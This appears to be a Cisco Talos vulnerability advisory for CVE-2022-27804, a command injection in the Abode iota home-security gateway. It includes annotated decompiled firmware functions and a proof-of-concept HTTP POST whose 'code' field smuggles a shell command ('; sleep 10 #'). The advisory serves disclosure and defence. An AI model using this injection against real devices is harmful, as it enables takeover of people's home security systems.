CVE-2022-27804
An os command injection vulnerability exists in the web interface util_set_abode_code functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z
iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit
8.0 - CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.
The iota
device is configured at the factory with a value called ‘ABODE_CODE’. This value is stored into the bootargs
variable in the U-Boot environment, which is ultimately passed to the kernel as its command line. The test device did not have this value set at the time of testing.
The device exposes a method for initializing or modifying this value through the /action/factorySerialMacPost
endpoint, which relies on an underlying function titled utils_set_abode_code
to make the underlying configuration change to the U-Boot environment.
In order to enable the web interface either TALOS-2022-1552 or TALOS-2022-1553 may be used, and access to this endpoint can be conducted without knowledge of the username or password using TALOS-2022-1554.
When an HTTP request is submitted to /action/factorySerialMacPost
it will reach the designated handler function located at offset 0x19BEBC
of the /root/hpgw
in firmware 6.9Z. The relevant portions of the decompilation of this function have been included, with annotations, below.
int __fastcall factorySerialMacPost(mg_connection *conn, mg_request_info *ri)
{
int payload_len;
unsigned int idx;
_BYTE *mac;
unsigned __int8 *mac;
char serial_no[64];
char mac_addr[64];
int abode_code[16];
char payload[280];
payload_len = http_collect_payload(conn, ri, payload, 256);
memset(serial_no, 0, sizeof(serial_no));
// [1] Extract the `serial` and `mac` values from the POST payload
mg_get_var(payload, payload_len, "serial", serial_no, 0x3F);
memset(mac_addr, 0, sizeof(mac_addr));
mg_get_var(payload, payload_len, "mac", mac_addr, 0x3F);
// [2] If `serial` (and `mac`) parameters exist
if ( serial_no[0] && mac_addr[0] )
{
...
util_set_serial_mac(serial_no, mac);
memset(abode_code, 0, sizeof(abode_code));
// [3] Extract the `code` parameter
mg_get_var(payload, payload_len, "code", abode_code, 0x3F);
// [4] Call the vulnerable function
util_set_abode_code(abode_code);
sync();
sync();
sync();
return web_success(conn);
}
else
{
err_str = strtable_get("WEB_ERR_PARAM_EMPTY", 19);
return web_error(conn, 0, err_str, "Serial or Mac");
}
}
At [1]
the serial
and mac
parameters are extracted from the HTTP request and checked at [2]
for their existence.
If they exist, then at [3]
a third parameter, code
, is extracted from the HTTP request.
At [4]
this code
parameter is passed into the vulnerable util_set_abode_code
function.
The util_set_abode_code
function is at offset 0xA8E74
in version 6.9Z. It expects a single argument, code
, and uses the helper binaries of fw_printenv
and fw_setenv
to read and write to the U-Boot bootargs
environment variable. The relevant portions of the decompiled function are included below.
int __fastcall util_set_abode_code(char *code)
{
char *contains_abode_code; // r6
char *original; // r0
char *key; // r0 MAPDST
size_t end; // r0 MAPDST
char *value; // r1
size_t v11; // r0
size_t v12; // r0
size_t v13; // r0
char *v14; // r0
char bootargs[512]; // [sp+0h] [bp-610h] BYREF
char modified[512]; // [sp+200h] [bp-410h] BYREF
char command[528]; // [sp+400h] [bp-210h] BYREF
if ( !dir_exists("/var/lock") )
mkdir("/var/lock", 0x1FDu);
memset(bootargs, 0, sizeof(bootargs));
// [1] Collect the original bootargs value using `fw_printenv`
if ( popen_read("/gm/tools/env/fw_printenv -n bootargs", bootargs, 511) > 0 && bootargs[0] )
{
bootargs[strcspn(bootargs, "\n")] = 0;
contains_abode_code = strstr(bootargs, "ABODE_CODE=");
memset(modified, 0, sizeof(modified));
// [2] If `ABODE_CODE` is already a key in the bootargs ...
if ( contains_abode_code )
{
// [3] Tokenize the bootargs into `key=value` pairs
for ( original = bootargs; ; original = 0 )
{
key = strtok(original, " ");
if ( !key )
break;
// [4] If the current key is ABODE_CODE
if ( startswith(key, "ABODE_CODE=") )
{
// [5] Then update the `modified` bootargs with the new `code`, dropping the existing code
end = strlen(modified);
strncpy_0(&modified[end], "ABODE_CODE=", 511);
end = strlen(modified);
value = code;
}
else
{
// [6] otherwise prepare to append the current key/value pair without modification
end = strlen(modified);
value = key;
}
// [7] Construct the modified bootargs with the previously configured value
strncpy_0(&modified[end], value, 511);
end = strlen(modified);
strncpy_0(&modified[end], " ", 511);
}
}
// [8] Otherwise, an ABODE_CODE is not already set (as was the case with the target device)
else
{
// [9] Append ABODE_CODE={code} to the modified bootargs buffer
strncpy_0(modified, bootargs, 511);
end = strlen(modified);
strncpy_0(&modified[end], " ", 511);
end = strlen(modified);
strncpy_0(&modified[end], "ABODE_CODE=", 511);
end = strlen(modified);
strncpy_0(&modified[end], code, 511);
}
v14 = &command[strlen(modified) + 511];
if ( *(v14 - 1024) == 32 )
*(v14 - 1024) = 0;
if ( modified[0] )
{
// [10] Construct and execute a command using the existing `bootargs` modified with the attacker-controlled `code`
memset(command, 0, 0x200u);
vsnprintf_nullterm(command, 0x1FFu, "/gm/tools/env/fw_setenv bootargs %s", modified);
popen_write(command);
}
return 0;
}
else
{
log(4, 20, "\x1B[33mutil_set_abode_code failed on fw_printenv or no bootargs\x1B[0m");
return -1;
}
}
This function works by [1]
extracting the current bootargs
value from the U-Boot env by calling /gm/tools/env/fw_printenv -n bootargs
. On the device under test, this returns mem=128M gmmem=90M console=ttyS0,115200 user_debug=31 init=/squashfs_init root=/dev/mtdblock2 rootfstype=squashfs ethaddr=B0:C5:CA:XX:XX:XX climax_product=Z3,XXXX,YYYY,ZZZZ
. Observe that the device under test does not have an ABODE_CODE, so our code will initially take the second path, beginning at [8]
. It’s important to note that the presence or absence of the ABODE_CODE
key in bootargs
is irrelevant to the vulnerability, as both will result in exploitation.
At [9]
the attacker-supplied code
will be appended to the existing bootargs
and placed into the modified
buffer, which is used to construct a command that will be executed via popen
at [10]
A maliciously-formatted and authenticated web request submitted to this endpoint will result in arbitrary command execution inside the util_set_abode_code
function.
POST /action/factorySerialMacPost HTTP/1.1
Host: 10.1.1.201
X-Climax-Tag: Factory-27940001-21245121
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 1326
mac=b0:c5:ca:00:00:00&serial=Z3,XXXX,YYYY,ZZZZ&code=%3b+sleep+10+%23
2022-07-14 - Vendor Disclosure
2022-09-26 - Vendor Patch Release
2022-10-20 - Public Release
Discovered by Matt Wiseman of Cisco Talos.